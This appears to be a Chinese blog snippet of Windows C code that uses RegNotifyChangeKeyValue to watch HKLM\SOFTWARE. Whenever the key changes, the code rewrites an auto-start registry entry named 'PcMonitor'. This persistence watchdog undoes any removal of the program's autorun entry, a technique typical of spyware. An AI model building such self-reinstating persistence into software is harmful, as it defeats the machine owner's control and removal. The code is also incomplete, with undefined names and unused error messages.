用RegNotifyChangeKeyValue函数监视注册表

BOOL SaveReg(
    TCHAR    *sKey,
    BYTE    *pBuffer,
    DWORD    dwBufSize,
    HKEY    hkey,
    TCHAR    *sSubKey,
    DWORD    ulType
)
{
    HKEY    hSubkey;
    DWORD    dwDisposition;

    if (RegCreateKeyEx(hkey, sSubKey, 0, NULL, REG_OPTION_NON_VOLATILE
        , KEY_ALL_ACCESS, NULL, &hSubkey, &dwDisposition) != ERROR_SUCCESS)
        return FALSE;

    if (RegSetValueEx(hSubkey, sKey, 0, ulType, pBuffer, dwBufSize) != ERROR_SUCCESS)
    {
        RegCloseKey(hSubkey);
        return FALSE;
    }

    RegCloseKey(hSubkey);

    return TRUE;
}

DWORD WINAPI MonitorReg(LPVOID lpParam)
{
    while(TRUE)
    {
       DWORD  dwFilter = REG_NOTIFY_CHANGE_NAME |
                         REG_NOTIFY_CHANGE_ATTRIBUTES |
                         REG_NOTIFY_CHANGE_LAST_SET |
                         REG_NOTIFY_CHANGE_SECURITY;

       HANDLE hEvent;
       HKEY   hMainKey=HKEY_LOCAL_MACHINE;
       HKEY   hKey;
       LONG   lErrorCode;
       char   szErr[255];


       // Open a key.
       lErrorCode = RegOpenKeyEx(hMainKey,"SOFTWARE", 0, KEY_NOTIFY, &hKey);
       if (lErrorCode != ERROR_SUCCESS)
       {
          sprintf(szErr,"Error in RegOpenKeyEx (%d). ", lErrorCode);
          return -1;
       }

       // Create an event.
       hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
       if (hEvent == NULL)
       {
          sprintf(szErr,"Error in CreateEvent (%d). ", GetLastError());
          return -1;
       }

       // Watch the registry key for a change of value.
       lErrorCode = RegNotifyChangeKeyValue(hKey,
                                            TRUE,
                                            dwFilter,
                                            hEvent,
                                            TRUE);
       if (lErrorCode != ERROR_SUCCESS)
       {
          sprintf(szErr,"Error in RegNotifyChangeKeyValue (%d). ", lErrorCode);
          return -1;
       }

       // Wait for an event to occur.
       if (WaitForSingleObject(hEvent, INFINITE) == WAIT_FAILED)
       {
          return -1;
       }
       // Close the key.
       lErrorCode = RegCloseKey(hKey);
       if (lErrorCode != ERROR_SUCCESS)
       {
          return -1;
       }
  
       // Close the handle.
       if (!CloseHandle(hEvent))
       {
          return -1;
       }
        //设置自动运行
        SaveReg(
                "PcMonitor",
                (BYTE*)InstallPath,
                strlen(InstallPath),
                HKEY_LOCAL_MACHINE,
                REG_AUTO_START_KEY,
                REG_SZ
                );
    }
    return 0;
}

你可能感兴趣的:(用RegNotifyChangeKeyValue函数监视注册表)